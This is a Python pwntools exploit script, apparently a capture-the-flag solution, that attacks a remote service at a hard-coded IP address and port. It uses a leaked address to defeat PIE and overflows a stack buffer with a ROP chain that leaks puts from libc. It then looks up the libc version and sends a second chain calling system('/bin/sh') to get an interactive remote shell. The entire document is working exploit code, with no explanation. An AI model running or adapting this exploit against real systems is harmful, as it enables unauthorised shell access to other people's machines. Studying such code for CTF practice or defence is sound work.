from pwn import *
from LibcSearcher import *
host = '49.232.142.230'
port = 14187
p = remote(host, port)
elf = ELF("./pwn")
rop = ROP(elf)
p.recvuntil('wisely: ')
win = int(p.recv(14), 16)
success('win = %#x', win)
main_addr = win - 0x128E + elf.sym['main']
puts_plt = win - 0x128E + elf.plt['puts']
puts_got = win - 0x128E + elf.got['puts']
rdi_addr = win - 0x128E + rop.find_gadget(['pop rdi','ret']).address
ret_addr = win - 0x128E + rop.find_gadget(['ret']).address
payload = b'a'*(0x40 + 0x8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("puts ---> %#x", puts)
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*(0x40 + 0x8) + p64(ret_addr) + p64(rdi_addr) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()